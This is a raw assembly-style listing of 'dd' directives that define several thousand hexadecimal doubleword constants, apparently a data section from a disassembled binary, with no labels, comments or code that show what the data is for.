dd 1BBE6188h, 0AE009987h, 2C5271F5h, 47AA90h, 0BD4113A0h
dd 0C517E907h, 54777D13h, 0ABDB204Fh, 0B5BA805Eh, 0F46D1EB4h
dd 2CDD00F3h, 0ED9F3536h, 537B7172h, 54184D01h, 165E4096h
dd 0AF7ED4h, 0F3BB1099h, 2BFCD158h, 648B202Ch, 0D2A11828h
dd 3C050DDh, 52001472h, 0C745A8C6h, 22BEB04h, 61E107C2h
dd 0BC48F233h, 0C01E29FBh, 0D38039DBh, 9FC5F1Ch, 0E0AE491Bh
dd 60780708h, 9C3EB000h, 1E67413h, 22E406DAh, 896BEC6Dh
dd 804C0921h, 0BA3F9D96h, 497100F4h, 0FF1EDB99h, 0CF00A27Bh
dd 17D3BF16h, 5BCB19A9h, 434400DCh, 1A4BE5C8h, 971CFE01h
dd 565C3FD5h, 9C1260h, 0D8C95516h, 9FD47E4Ah, 0E5B950C4h
dd 52D8A4h, 215C3298h, 97B47359h, 88A87EE6h, 56004688h
dd 0B0356740h, 730E6227h, 1CBA00D5h, 31B6F393h, 651EFB0Ah
dd 0B75EFE5Ah, 0D148897Eh, 179776F1h, 0C248C403h, 0B848AB8Bh
dd 0D70E8A88h, 20F1DA9Fh, 6E2FE703h, 27DF0EFCh, 5CC02C76h
dd 2DE910FBh, 0B05E1A00h, 9DF9615Dh, 8CA60187h, 8AB535B7h
dd 0F506F0A8h, 25144472h, 1E83EF09h, 92C0293Bh, 8D60B337h
dd 17B8B6C2h, 0AB840054h, 0DC3FA84Dh, 806E1D39h, 9EB76157h
dd 0F77E38FBh, 0E6714C87h, 2EC90E9h, 6A06F1E4h, 2A6E7D04h
dd 1CAF248h, 87AE480Bh, 0D871974Dh, 2F7BD58Ch, 0ED0ADA00h
dd 0C2114F1h, 4DCA145Dh, 8E0084A6h, 0CC4FF066h, 8C034E23h
dd 0E10BF10Ah, 0FF079887h, 23A70A6h, 0DA45CA30h, 1C70B3C6h
dd 1A39A900h, 0B025CE4Dh, 0EF08078Eh, 0B062C3BFh, 78596EB4h
dd 5422A261h, 11C18CFFh, 7D2DDF60h, 21D000DBh, 0FF0349Ah
dd 240032B8h, 1C3BFFF8h, 0FAEBCE70h, 18F400B4h, 7B57B530h
dd 4224D6A1h, 7607D0F5h, 6091E04Ch, 0DC4732DCh, 0F3F03E0h
dd 9675267Bh, 0E27F0014h, 0E928B9A9h, 0FDE6061Eh, 0BD5600FDh
dd 672342DCh, 3C7804h, 2A3AECE5h, 0E802FD5Eh, 991B2E0Eh
dd 489A2CC4h, 48EE26F1h, 0D6BB00A0h, 968FB72Bh, 2F329201h
dd 906EAC80h, 69AFECh, 0E272F7D7h, 0E87841B7h, 6049C107h
dd 3E23BFB2h, 384BC8B3h, 1314BE6h, 1C4A0CF4h, 7DC3C4Fh
dd 915EA589h, 43FB32B0h, 0AC270EBEh, 18308E9h, 0FDA94B10h
dd 2CC28A9h, 0A032350Fh, 912868EEh, 21AF01B2h, 0D2F10150h
dd 32383411h, 68DB9224h, 1219F509h, 123844A8h, 12C82E0Ch
dd 48B009C9h, 92CCAC01h, 12F4321Ah, 880FBA53h, 0C814C78Ah
dd 0BC876557h, 0F890A575h, 93204ADh, 0F4AA69BEh, 993E5202h
dd 41026C48h, 1CA4E00h, 1D5F20F6h, 1420FDA3h, 9ED2240Ch
dd 0ECCF8124h, 2A6BA80Dh
dd 60511421h, 23D3064h, 7DBC219Ah, 2C6465D1h, 0E2692C09h
dd 0D07C473Eh, 160B62Bh, 42129D91h, 0C8FA016Eh, 0B7D7935h
dd 946CDCh, 27DE69E2h, 3392ED5Bh, 0F90868EFh, 0FA750BA1h
dd 0E3612882h, 794E412h, 0ED60FDD7h, 1030C82Ah, 0B6E04DB6h
dd 331B0FF4h, 67187B6Ch, 0B842324Ah, 0AC60A284h, 18BC7084h
dd 28F7411Ah, 67017396h, 0C7B1F5DCh, 1C506839h, 3F26AA03h
dd 2E382CF9h, 88309992h, 278445Ch, 1892E94Bh, 70000F71h
dd 927566CFh, 0FF2EC374h, 0D9303274h, 1DC7C23Ch, 8F9DE325h
dd 78ED7A8h, 1721EA8Ch, 3DFA730Fh, 8C98F463h, 0F82B48DCh
dd 267EA1h, 0F1056A9Bh, 54FC8F7Ch, 600E555Fh, 80088073h
dd 0BCB1A707h, 0B4C812F0h, 0B731B2C0h, 26DE282Eh, 83B3E181h
dd 0C89660ACh, 8C01B5E4h, 64751665h, 0B18092F1h, 49F81AB2h
dd 48C5102Eh, 0CC4011DFh, 0F2674FD9h, 48F0FC3h, 7CEFED18h
dd 4D442F20h, 25002706h, 5857C005h, 300EC1F3h, 0ECE9F204h
dd 0BD07D1ACh, 0B9FE0541h, 0F128B630h, 0B00209C7h, 80805F8Bh
dd 741550Fh, 196D58h, 0F09EAACBh, 1850F970h, 0C9288846h
dd 0AF506586h, 960052B4h, 67D5C321h, 0F45F99E4h, 933C1E62h
dd 6610FAA9h, 8EE200EAh, 0EE71687Bh, 0DBA22907h, 330F3DD0h
dd 0E7C02532h, 5799C326h, 0AE600F00h, 968E1DF4h, 643C11D0h
dd 0DAC202EBh, 56E760F3h, 20C0A07Ch, 0E318E905h, 56190E68h
dd 25D453Ch, 0C620FAA4h, 0A87502h, 50B9565h, 87F08218h
dd 0F8089395h, 3C6686h, 7F5B5D79h, 0C1562852h, 78C78A12h
dd 1368A0h, 381A23ABh, 0C80CCEEEh, 4EE3CA1Fh, 0B2B39CC1h
dd 0DE80A15Ch, 5FB1FA13h, 230729FFh, 0C7F48E0Dh, 8AA7E200h
dd 50F61Dh, 0E0159485h, 0EDF6847Ah, 0C2334000h, 0E9762DB4h
dd 0C47C00D8h, 2501EA46h, 0F00B8C9h, 66DCE832h, 38EE36FCh
dd 3E008940h, 0FB428BB4h, 0F7008A69h, 3D46B1FFh, 1FB864BEh
dd 0C076A912h, 3662B2B7h, 8500459Eh, 0ABDC7811h, 78C7199h
dd 0F14DBCB4h, 9A9EE03Ah, 983F1470h, 0DDB600B2h, 6126B57h
dd 517400C0h, 389417FCh, 0A900EE2Ch, 0B18B6F89h, 90E121BCh
dd 9CFC0024h, 0AEFD1B3Fh, 0DD00C461h, 132A0CB5h, 18C1C27h
dd 90F0FB74h, 5440EA28h, 0F6046C94h, 46814A5h, 9A4FD077h
dd 6B10EE60h, 70E2C55h, 8DB3A110h, 233860E5h, 5A0052C1h
dd 45D2F54Fh, 64146B69h, 21A7292Bh, 4911BA9Bh, 29EB11D3h
dd 5E44F817h, 0C5101D22h, 8EEF8825h, 89BC0A88h, 443C0831h
dd 2284E323h, 8542B820h, 211FA711h, 5F7904D7h, 42590853h
dd 0CB253B39h, 6D1F5006h, 0E208E929h, 82FE3445h, 2276F128h
dd 0FC25D2C1h, 42131408h, 0D524759Ch, 1231AA21h, 63E21307h
dd 5521A924h, 7B1330h, 580109A1h, 3F36C114h, 76995F0Fh
dd 0B55B60FEh, 71ADEBEh, 25139302h, 0C463E0CDh, 0A20057D0h
dd 0E6520E82h, 0FE4A3Fh, 0D58C1E24h, 697375Fh, 0A00060B0h
dd 5BE1A778h, 9BF2D3h, 9F3F9535h, 9AB62D26h, 45128100h
dd 68D24288h, 0C2C40ED9h, 5A80F057h, 1201B13Ch, 584AA303h
dd 20629Eh, 0DAC5C311h, 0E2835A3Dh, 32480A00h, 0B4C1241Ah
dd 12CF9866h, 0F9B6E7h, 51F89340h, 5C003B23h, 0A311D324h
dd 1881BD3Eh, 10D295F7h, 0E80351EFh, 0DE57FBD6h, 90438FE3h
dd 8C020052h, 0D85EF6AFh, 3C49320Ah, 4FCC0E70h, 1A9380E7h
dd 914D95h, 84B2922Ch, 1EB0488Bh, 8F316300h, 30F49BE7h
dd 0F34301C0h, 46C7B25Ch, 3ADDF02Ch, 0C98DD700h, 0C310B305h
dd 5F5206DEh, 3004FE14h, 90729F00h, 2A38D403h, 0D63F00FAh
dd 0AB5976ECh, 5400EB15h, 340620F4h, 16CEED4h, 3F17AD6Fh
dd 81C79990h, 243092D8h, 3CD05401h, 77C10765h, 11DC0C37h
dd 0C0694381h, 0FC0019BFh, 559CFE4Ch, 46D6ADh, 5A8AFA12h
dd 0DFB2194h, 89C74A04h, 0F0806353h, 7EC3314Ch, 58C3EC1h
dd 444E5500h, 916F9848h, 36E10400h, 0C333BACCh, 8A5F0082h
dd 0CA1FC717h, 0E0007D6h, 0A544950Ch, 9850D4h, 7D6D3381h
dd 0E766B328h, 29534303h, 0A07A3D79h, 0B0F336h, 0F1983A80h
dd 24833277h, 298AA8A8h, 48FCA800h, 2E71D321h, 8C27305Bh
dd 0E4748239h, 89B1B218h, 0D9B010h, 0E9108658h, 1994409Dh
dd 0B1007DF8h, 16589CBh, 1CA4E5AAh, 2DF9AB9h, 0AE236992h
dd 8E80A489h, 0AD94F882h, 2ABA10C0h, 484EC774h, 0EF4C4084h
dd 88A40C54h, 42003D75h, 5CAD7163h, 48859FB1h, 62248C60h
dd 0A1A0000Ch, 7C84B3E9h, 0BF00CB71h, 0A7181443h, 56F460h
dd 301B6BFBh, 0F6662A0Bh, 0E4918B8h, 56A20098h, 0E0A705D6h
dd 7BC7B8Eh, 968B09FAh, 8D21B0CEh, 1E261BA6h, 0C3005858h
dd 99D6A7EBh, 0C7C8006Fh, 3ECBF931h, 8AA0CF98h, 0D4016029h
dd 691BBFCDh, 9ECCBEDCh, 0E23BE456h, 0B0940FFFh, 8FE064C8h
dd 0FB360F39h, 0AD848C0Ah, 7A00B805h, 7847F48Ah, 0D7F60B62h
dd 7B80C633h, 0CD4809F0h, 44F1C300h, 0D6430410h, 2E907Eh
dd 3BCFB841h, 8796EE19h, 562FD200h, 176D92C2h, 0B9520007h
dd 47D3ACAh, 1D001C12h, 0DA69CF99h, 7BBE89D7h, 0FD563996h
dd 87AE5300h, 5FFA5E70h, 710068F8h, 14749AC2h, 18B8A0h
dd 58AE92F7h, 906CE0A9h, 9880DC91h, 0F34C64B0h, 7D1C0224h
dd 2A3D491h, 1362C40h, 384BFF03h, 0F943C8F4h, 0C1D4C01Bh
dd 868209E4h, 2800D629h, 400BDF80h, 7E63D01h, 1C526995h
dd 0F37630h, 6814FE7Bh, 77A235B4h, 826F9A00h, 0BB4CA07Eh
dd 364400C0h, 4192AB8Dh, 0E160C620h, 332E747Eh, 7B5E0093h
dd 0BC1DD422h, 0C011585h, 705C5FBFh, 0A453B97Fh, 787CF825h
dd 3B5A00E4h, 0F99AA5ABh, 0E90067F5h, 1E262AB9h, 0C87787h
dd 0D0786DB8h, 0AEB686DDh, 0EAEE1A00h, 90FA666Bh, 69B00222h
dd 0F9ABDBB4h, 0FE1CC00Eh, 12CE819Bh, 1DD8879Fh, 2C7AC78Ch
dd 0D047A022h, 6876612Bh, 12620600h, 5F016B4Ah, 1BA30013h
dd 4D42AA9Ch, 1605D7C0h, 5C58088Bh, 61126080h, 825667BDh
dd 90678747h, 21B39E5h, 0F564B107h, 11E09EABh, 7EAF3D9Ch
dd 0D27F07h, 962C53BDh, 1C5F76BAh, 0F61D6400h, 4CE4F50Ch
dd 0AE9B003Ch, 8A4E6E4Ah, 15004466h, 0F44FF623h, 92A6B2h
dd 9C8EEAFBh, 8D7413CDh, 8810EB03h, 0A052BFBBh, 1E853C5h
dd 65BD3A9Eh, 8035FE86h, 63331406h, 4D6919h, 4320F74Bh
dd 0B3E78B0Dh, 92F138C0h, 2C51B2Fh, 31F45524h, 0F6C0E309h
dd 53E97273h, 48E0D9D4h, 650790C4h, 0A66A0EAFh, 0E62B2AE0h
dd 0EA8F002Eh, 0F4C34322h, 0B400897Dh, 0F2482094h, 25E53h
dd 6D9B0F36h, 78DCED75h, 21E6B8C9h, 2AE8F078h, 90C2D443h
dd 0E025D2h, 7B31B8A7h, 0BFC71F52h, 2BF6AA02h, 0C0240DCEh
dd 0D6CBA3h, 88586942h, 41E550D5h, 70573D3Ah, 0D8A0C200h
dd 773560Ch, 92104C33h, 4AEDF00h, 19E31138h, 0F9F05900h
dd 0F2BD60FBh, 1CC7D87h, 62CE70Eh, 30B81180h, 2900EF07h
dd 89D96C3h, 0FA1A5Ch, 0F7E2489Ch, 117A15F1h, 0ECA0C000h
dd 604E3A6Ch, 0BB9F0094h, 8579472Ch, 773F8907h, 840CBE8Fh
dd 59403D44h, 0C2522FC2h, 0B0BE80DCh, 9B24A88h, 234FB8F9h
dd 0EC34F800h, 940574D3h, 0B05E48C9h, 42655282h, 2408C06Ch
dd 0B3F60004h, 7438C162h, 6C1F2DA5h, 0B981E534h, 0F70326F3h
dd 0F0DE6860h, 5E7464h, 9D9F250Dh, 76E1E34Dh, 29A88407h
dd 4360B42Dh, 3FF2E728h
dd 35804E2Eh, 5D55650Eh, 0D800D4B3h, 8061F02Ah, 9132D93h
dd 3CDB1D17h, 15F72A80h, 25001105h, 0EE414B03h, 6A1BD4h
dd 202F6034h, 67A216Eh, 2BCC748h, 48B19FFFh, 7560E87Ch
dd 98A00085h, 0F98DC4E6h, 5E06CDA7h, 3CAB6D54h, 791207AEh
dd 7B0CD687h, 98E5F880h, 0F00C8ECh, 99644AF5h, 1D21663Ch
dd 0B90C2CE1h, 609E007Fh, 0A0E2A3B4h, 0DD775576h, 24DF4958h
dd 2C0F8D50h, 40B06FCCh, 0ABC46153h, 3783006Dh, 0EFF46444h
dd 0CB000939h, 3B5FD6A2h, 0ECEE30h, 0EBA43642h, 0BA6606BBh
dd 4DC5C400h, 53168A67h, 87D5006Ah, 3A40B030h, 9000075Bh
dd 22429EA6h, 1CB9F901h, 4044B48Fh, 5FE1A5BEh, 1C008B2Ah
dd 22E79C79h, 5C0A011h, 28FEEE75h, 0D0F5C7F6h, 0FAB39157h
dd 0DE7EF8A3h, 0C96A4B1Dh, 95AE00FBh, 48ECCC74h, 2D8B03C1h
dd 4C46FF0Bh, 606CB291h, 0A7F6F5B6h, 0EB35B507h, 8FB06BE9h
dd 159C2531h, 0F8204C0Eh, 0CD4B260Fh, 3717009Ch, 0DBC41316h
dd 0D5D8A750h, 849E609h, 40A80009h, 0CBAC50h, 18FD8E79h
dd 0C49AEA6Ah, 534C4FECh, 0C6680098h, 0D8D95722h, 0E05E007Eh
dd 627B7315h, 5583540h, 592B1F30h, 4ABEEFC0h, 0F51047h
dd 1ABDEC93h, 0AA71AB6Fh, 1846FA37h, 0FD3E4EE0h, 7CB600DAh
dd 0D331FB33h, 0DC001A3Dh, 565DC1F2h, 0BC587Eh, 0C53549F6h
dd 9AA8D520h, 8027193Eh, 3743ADB1h, 0A140B494h, 16D042EFh
dd 1133003Ah, 468B6728h, 5A000D0Eh, 9B38B4CFh, 62BC96h
dd 0DC13686Ah, 31D1B301h, 5800F6EAh, 18349E65h, 813FA8h
dd 0BBC6F114h, 73D343CAh, 729D003h, 0E05A8FB7h, 129C3DF6h
dd 153484h, 439188CAh, 2900725Dh, 53D756B3h, 0F946AB7h
dd 0C02FC2E8h, 0F28AD0E0h, 36B07D4Bh, 5122B00h, 28075262h
dd 0AA500036h, 0C3D3BF59h, 2A3CFA3Fh, 6CF50018h, 0EE732441h
dd 3D5C0386h, 23BAA63Ch, 0F9800B87h, 837C4E4Dh, 75D3F600h
dd 6A40380h, 98B8CDh, 0AD0E72BEh, 0F4BCB1B4h, 0EACFA703h
dd 0C0740BD6h, 0D45F29h, 0F284A56Fh, 5BB59D35h, 10E73F01h
dd 0E11E95EFh, 6527ECh, 6891B2CFh, 13BF5A96h, 2C97D000h
dd 0C8555748h, 202100B7h, 43599B79h, 2400CADBh, 0A7F63D92h
dd 3AFFB08Bh, 0E2892F53h, 988047F0h, 0A223C8E5h, 0FABDED0Eh
dd 58B574C9h, 7A9C005Fh, 6FA18C8Fh, 0B360056h, 9550B02Ah
dd 40C0E6E5h, 45A70E14h, 64E3123Dh, 369E015Ch, 0D9FA0118h
dd 4CE42990h, 2CF0774h, 50B497E2h, 91E4A0h, 0A9128B8Eh
dd 0BAC9EE89h, 0FAEC19E4h, 4600CAF0h, 3B0503Ch, 9D8107Eh
dd 0E50BA8DBh, 8702A400h, 0B5E86299h, 0C1F6A700h, 0C03D5BAAh
dd 534000C6h, 9EFAA44Ah, 4C00DCFCh, 69F1A291h, 75F09948h
dd 0EB463A5Ch, 88015BDh, 0E777BF7Ah, 0A0049C5h, 2ACE91ECh
dd 1CF7F5B3h, 80F91DE8h, 640B3E61h, 17061C3Ch, 0ACCE0E9h
dd 82A20210h, 9C0C2AB4h, 0C046E6C0h, 0FA136900h, 0CA8A0E0Dh
dd 0F8D10031h, 3523C2C7h, 0B413362Dh, 4D01C830h, 0E697C4FAh
dd 0FA2944F8h, 0DC3E07C1h, 3096254Eh, 8F58BB90h, 0BFE67BFAh
dd 0A24B4900h, 9ABA77E1h, 533205C0h, 904C805h, 54A066F2h
dd 0DE7FA482h, 20001571h, 5AC2C65h, 9C589ECh, 0A2463A60h
dd 5F3F3880h, 2648B7F2h, 0FAA504F2h, 50C0BB7Eh, 73B47FC6h
dd 0E04C0001h, 35BEE94Eh, 0B0158CEh, 0F49AF00Fh, 0C4D87B74h
dd 152703E0h, 434BB82Fh, 75F16EB0h, 5401F072h, 0E1178FFAh
dd 2880DD69h, 11B83031h, 7B16A4E9h, 8800E45Fh, 0A819F793h
dd 9E8C00C3h, 31ED6B08h, 0D8003746h, 1AB44D54h, 3D27DE5Dh
dd 3D1C2220h, 0A2A100F1h, 7F21EA04h, 906A4600h, 24C29A62h
dd 55C93B47h, 5FA907F5h, 0C023F541h, 0BADFD392h, 0FFBF3A00h
dd 27A4734Eh, 0EB37000Dh, 77FBC86Fh, 2F00FC56h, 5BE299F7h
dd 86E664h, 0C42B1FD0h, 94F3AC44h, 0BA314801h, 0EF1E21CAh
dd 7C30C1F5h, 9A05C0Fh, 0FECE8507h, 64F990B2h, 8200052Dh
dd 0ADE15392h, 0A29F9Bh, 0F30CA1Eh, 10363146h, 0B07C9DEEh
dd 432F0B03h, 0C1A520A6h, 9A80E041h, 0BB125302h, 0C202F94Ah
dd 0F09313AAh, 0E95BE069h, 0B3BA0062h, 0B7E304D3h, 0BC015EB0h
dd 22CB121Ch, 0FBD460C3h, 4DEF0089h, 0DA83C462h, 0D71F0352h
dd 3840504Ah, 390CB6CEh, 0CA7900BBh, 0B9724676h, 0B81792BCh
dd 0EF14116Ch, 0A8C2008Ch, 6B070F48h, 503E00CAh, 60CB1DB9h
dd 0B800B14Eh, 94914F27h, 82F817h, 49BB52A0h, 0A1433330h
dd 0A874A40Bh, 30A98C41h, 0D47C0EC8h, 8300BAD2h, 0EC1A6856h
dd 2CE9403Fh, 0FA00FF5Dh, 418D9213h, 165300D5h, 1069DB35h
dd 76006FE7h, 0D43B1737h, 0F52BF5Bh, 0D17994D3h, 5EC03C20h
dd 4E007EC3h, 818C7296h, 7B840E9h, 0BD762304h, 0F78B5053h
dd 1D00F4FBh, 0BEEDAB79h, 2AC2050h, 0A51947DBh, 0C6043FFh
dd 6FE2FA9h, 50448117h, 877E4700h, 0E34C6Ah, 3D1376F5h
dd 3AA13812h, 0BEE28F00h, 8AE1637Dh, 0C74E8A3h, 35F9956Ch
dd 0E000FFF0h, 7BA90EF7h, 3129966h, 15368D43h, 1EA0F929h
dd 3D0F608Bh, 0C04146D0h, 889D6C72h, 0FA32010Eh, 0E931D4ABh
dd 0FBC18020h, 57A38790h, 0B2E70C37h, 5440494Dh, 0D389E900h
dd 66161893h, 67AA0FDAh, 3A40C604h, 8FD68CBh, 3376D104h
dd 0EC80B8B5h, 0F84152h, 0F7B17571h, 0A74D07CDh, 0FAAB1C00h
dd 0F52D4BF4h, 0ADB0F0Bh, 0C7A0120Fh, 74DDF164h, 6525D300h
dd 5BDCAF7Bh, 47B600A0h, 68B706ACh, 96007116h, 7F8DEAB9h
dd 60522DA5h, 139E71DAh, 0C971F6FBh, 0C100DF7Fh, 0EC1CFE84h
dd 0E688B457h, 52CF00DCh, 28C6E217h, 6A009CD9h, 0ACABA6F2h
dd 0C3FFF7h, 978BA488h, 9E17535Fh, 0C4073300h, 0DCCC4EC0h
dd 0C34500C7h, 273F023h, 76009B5Eh, 0D2BD2A9Eh, 1663B9BEh
dd 0E340EFh, 0BD3FBEDh, 55001662h, 9E1BB803h, 9BF2378h
dd 0CDC0AB4Ch, 0C3744004h, 0A681A990h, 94C8E408h, 7E1D3600h
dd 6939B88Fh, 6FD0009Fh, 9084035Bh, 0E500EF2Bh, 73D68E77h
dd 0EA44D99h, 0E9E2FA44h, 40944700h, 0FC006CBAh, 0ACE1E052h
dd 223985h, 60F742F0h, 9FBC032Fh, 76C27000h, 3A7EABE0h
dd 1CD7E0FEh, 479D1629h, 20DF57EBh, 3239BA8h, 69E56100h
dd 6F0ADDB3h, 184A0043h, 8A46475h, 9800E36Dh, 84A38F1Fh
dd 1471BC6h, 6EC44E5Ch, 0EAFC966Bh, 4402D060h, 1C88F600h
dd 3399ED10h, 7AD800E9h, 5F405E4Ch, 0EF3A72EAh, 30C9B0F9h
dd 699E166h, 31E30FABh, 400142Fh, 5CD1951Dh, 4A4B037h
dd 12F45B28h, 0D271801Fh, 0E8031B52h, 0F01A0188h, 1E18F074h
dd 61532407h, 78EA1810h, 0D600AC1Fh, 1450EC77h, 0DADB9h
dd 0D568FC53h, 0CA263A94h, 1DF2E700h, 0DD3783ACh, 77C4006Bh
dd 0B906299Bh, 4200E958h, 45CADFFDh, 226B8F9h, 46A14E4Ch
dd 1EC090C1h, 0C5013067h, 7ED50663h, 386473AFh, 86FB2EA7h
dd 74BC03C5h, 0A8A11017h, 8E984056h, 0F00F12C3h, 2075E3D6h
dd 9650930Eh, 0A054B8F1h, 7EB278h, 0BE831F01h, 23DE444h
dd 0FC0AD37Eh, 92A16904h, 3F074C1Dh, 7C50D441h, 0F22CA7h
dd 5B6E639h, 97B2D61Eh, 681DD00h, 3D575354h, 8DCA0015h
dd 7EFFE5E3h, 520310F0h, 0EF369ECEh, 14780004h, 801EAC7Dh
dd 0EB004BC3h, 0A5DA0B16h, 396EC13Dh, 2085F322h, 831CCB49h
dd 0B6D0FDFBh, 441E4372h, 0B32E9DC9h, 0D91F0607h, 8F2F9AF2h
dd 0E71980DCh, 18980D9Ch
dd 78156438h, 0D8C0BB51h, 0E2C6967Ch, 869E1EF2h, 774D809Fh
dd 0E91430AAh, 0F3379500h, 0A2B31D6h, 0CD380006h, 7E760896h
dd 8FFEB935h, 84E28007h, 0D160E34Fh, 0FE1982Fh, 5204BC65h
dd 0F34BDB63h, 937325C0h, 0B2A1230Eh, 2CCAE0FFh, 5D639A6h
dd 6294D9A5h, 6F54C744h, 135FC840h, 0A62C8CFCh, 0E6004458h
dd 270C7C98h, 61364DD8h, 7E039300h, 0BDC8430Fh, 88094F77h
dd 80D98CFFh, 998CCC0h, 85F2009Ch, 8BB3FCCFh, 0A224DDBAh
dd 0E2800CD7h, 0C47FFB46h, 840A0098h, 0EEC51AD5h, 0C9007A9Fh
dd 23F7AA80h, 27AED3h, 6A8DECE6h, 58A8DD89h, 0B3C45317h
dd 68407216h, 0C6EE3AA6h, 0A870CB9h, 0C730E5BEh, 781D6D0Ch
dd 394137h, 54D37F04h, 0E4B45AF8h, 322AA400h, 5F2B56E8h
dd 806A17C3h, 0E6D840D8h, 8F9F6295h, 2553CF00h, 925F34F9h
dd 54D00093h, 0DFACF824h, 0C0007E41h, 40AB9FA6h, 3B44EF08h
dd 0D6138ED4h, 0D901073Ah, 46CF60DAh, 5ADDC9A3h, 0ADEAA540h
dd 3042BF64h, 0E6946685h, 10C0BE9Eh, 0BD97CFE7h, 8DB008Ah
dd 0B06BE1D8h, 0B91C5365h, 90C1EC31h, 0C61A2BFFh, 0BF8CCCh
dd 7AC1D684h, 0CF45EEE5h, 143D40A0h, 0C681362Eh, 0E08AC900h
dd 57A941h, 0DD7AE91Ah, 435F78F8h, 8126D18h, 0C3E231F9h
dd 15B24771h, 0DC7CC0BCh, 700097C8h, 6B0F0B59h, 0FB48B56h
dd 5E22071Bh, 5BB54CC0h, 0F9609417h, 1E25612h, 0E5431287h
dd 0A650136h, 8FEB2ACEh, 2BC43140h, 349C001Ch, 1E843909h
dd 0CA32FBA9h, 58904774h, 1C92E28Eh, 0EC8AE000h, 8FCF8DE4h
dd 0DD772C14h, 54CB808Ch, 0F7EE9108h, 70364D18h, 0FA8C6330h
dd 60C0002Fh, 683D205h, 915057F8h, 0E4141BE4h, 0C884F947h
dd 0AC426F33h, 0CF334679h, 34CB4820h, 0F19360D7h, 6E38EB62h
dd 154F618h, 46B841h, 0B29E8AD6h, 9915A43Dh, 1BAA1F24h
dd 1CC03500h, 7273DCAEh, 58A41Dh, 0A041165h, 8B61A0E9h
dd 5368DC1Ch, 4B7B940Eh, 9B24808Dh, 1ADD2Eh, 5AB08FE8h
dd 475BD854h, 3F00BC77h, 0E4947CDEh, 7CD2033Eh, 58FF00D5h
dd 199E0262h, 1330FD15h, 0AF1A485Eh, 0FA711CB8h, 28D00A93h
dd 0C22F87F0h, 91C30049h, 70006B94h, 4C8097F4h, 96EB69E8h
dd 9539404Ch, 400027E3h, 0F42AF6B2h, 0EA7CAB1Ah, 9E531876h
dd 4C0A2104h, 686BDE03h, 0E034F0BBh, 2466CD18h, 44D7757h
dd 801E92DFh, 0DAA9D1ECh, 2EE5730Fh, 0BF01C0FBh, 8DED0Fh
dd 58A371B9h, 75DC9EA4h, 0FC975D28h, 93E7E000h, 0D5043FE4h
dd 63E31549h, 0A901D8C6h, 0D732F948h, 8120249Fh, 91E47901h
dd 94E703D1h, 53730D0h, 0AD6683B9h, 0B388C040h, 60010A7Ah
dd 0C169B4E4h, 18803F37h, 339BD33Eh, 78C5BABFh, 3C88824Eh
dd 1B07B53h, 0F78D0554h, 2416423Eh, 69013C60h, 0A7A819E6h
dd 89B989FEh, 0B151A80h, 0A443011Fh, 2FF74600h, 42B5D9CDh
dd 0ADC1CEA7h, 3C4C0FAFh, 5054311h, 0E6DB97B7h, 63E18480h
dd 0F51700E4h, 62E83C0Dh, 3A0105BCh, 475C80BEh, 83C09CC8h
dd 0D60A170Ch, 42870089h, 0FDB6B99Ah, 9359F1Eh, 0C04AC481h
dd 0EBF4FE28h, 8F08001Bh, 0B954ABB3h, 31054B82h, 233299BFh
dd 53A5B0C0h, 18900FF7h, 76B3E0h, 1C9CBA6Ch, 0D60A37D7h
dd 83DC0F66h, 0D71A7409h, 0E65DB200h, 9D175EA6h, 4904586Fh
dd 9480EA12h, 23E01A1h, 84C165C5h, 0C0C42A0Ah, 8E091C00h
dd 0D24CD8A6h, 0A04EE8Dh, 421A65CDh, 83C0009Ch, 0C37FDF4Bh
dd 0C09748B8h, 93F80DFh, 419D975Bh, 0D2918A00h, 0AA601E4Eh
dd 0A7F30F68h, 0DB1B5C29h, 140E8901h, 0F082D450h, 7600F530h
dd 0E67580F1h, 0FA59D6B1h, 2FC76C7h, 0C6515019h, 0F0481646h
dd 5D72E20Dh, 0DC7CA526h, 44CB5E80h, 48CFC7F8h, 0D6071870h
dd 40B5E29Eh, 859F8DE9h, 3400017Bh, 0AB566FE1h, 2504F83Dh
dd 5423A3B6h, 0FA1E81A8h, 910C9332h, 984887h, 3EB2352Dh
dd 3148BD80h, 5D26471Fh, 0FDF44E80h, 7D940Fh, 91CC1C03h
dd 7AD650D4h, 56E2210Bh, 787C8007h, 790F53E1h, 0A05E13C0h
dd 850000B9h, 380E04Ah, 68004774h, 0E4345D90h, 1E66327h
dd 0D6749A61h, 0CC92D772h, 50973F5h, 4DB02Bh, 0FB54B3BCh
dd 0B8EF4C8Eh, 2860E6A2h, 9503C7DDh, 3A6D0878h, 7A487022h
dd 9F8A0505h, 8ADC37C8h, 0F31A0270h, 0C0C6F771h, 1FC5472h
dd 80822B3Ch, 0DEC29745h, 89C1A0C0h, 4E514Ch, 116CB964h
dd 3B3D87DEh, 4E808C12h, 0DA7CD5F8h, 0F8FB81A0h, 45EAA621h
dd 0B1DDDF02h, 481A75D9h, 25010E0h, 0BDDC13DBh, 80687A84h
dd 14C1481h, 3BA448A8h, 25CA0044h, 0F9125AC4h, 9A5245Bh
dd 3EC80C8h, 5297C7A2h, 0ED5826FAh, 25BB1B28h, 3E38E461h
dd 0FB4AA50Fh, 6E10E482h, 784718C0h, 1D6A2AABh, 320F03A4h
dd 370A678Ah, 0EF5DFBB0h, 5CA1422Ch, 6FA56A60h, 957A318Fh
dd 0C4319C59h, 930175EBh, 6F3F4C2h, 9064DC3Bh, 61A8A2C3h
dd 0D84CF8C5h, 0A3C72C24h, 8315964h, 135F01E1h, 897F8D5h
dd 748B60C1h, 4D91BD04h, 68D0CFA4h, 30BB63DDh, 5A591665h
dd 9342FC5Fh, 4B23818Fh, 8AC0BFE8h, 910F4EC1h, 0C0E9021Eh
dd 5A512694h, 0E17AC0CAh, 5E8AAE5Dh, 0DD759900h, 7DC4401Fh
dd 8105845h, 0FC9B7001h, 60FD173Dh, 8358F35Dh, 96E60070h
dd 0D0502C38h, 319033h, 174EB830h, 4BBD58F6h, 66FD2E16h
dd 59310600h, 184797ACh, 581BFE4Ah, 0B20C2E07h, 397C7E76h
dd 230015Eh, 0E3C5765h, 2284D879h, 4C2E3800h, 0FE7D33BBh
dd 9097025Eh, 9C833DC0h, 0ED1350C0h, 8836E301h, 31D537BBh
dd 0A8426AE0h, 5B35D2ACh, 0B00803CFh, 98F1AE9Ch, 761C24BFh
dd 0F668BD00h, 10F828F7h, 4D89087h, 0BA51AA17h, 84E0E01Ch
dd 0A040466Eh, 0EA79471Eh, 0E51D0920h, 1C874E7Eh, 0C206D144h
dd 0CB8DF4B1h, 80F6713Dh, 74EDA5A2h, 0D602C5h, 3579419Bh
dd 0C44DB540h, 4854603h, 0C887D28Ah, 3C3BFD19h, 1E81E26Dh
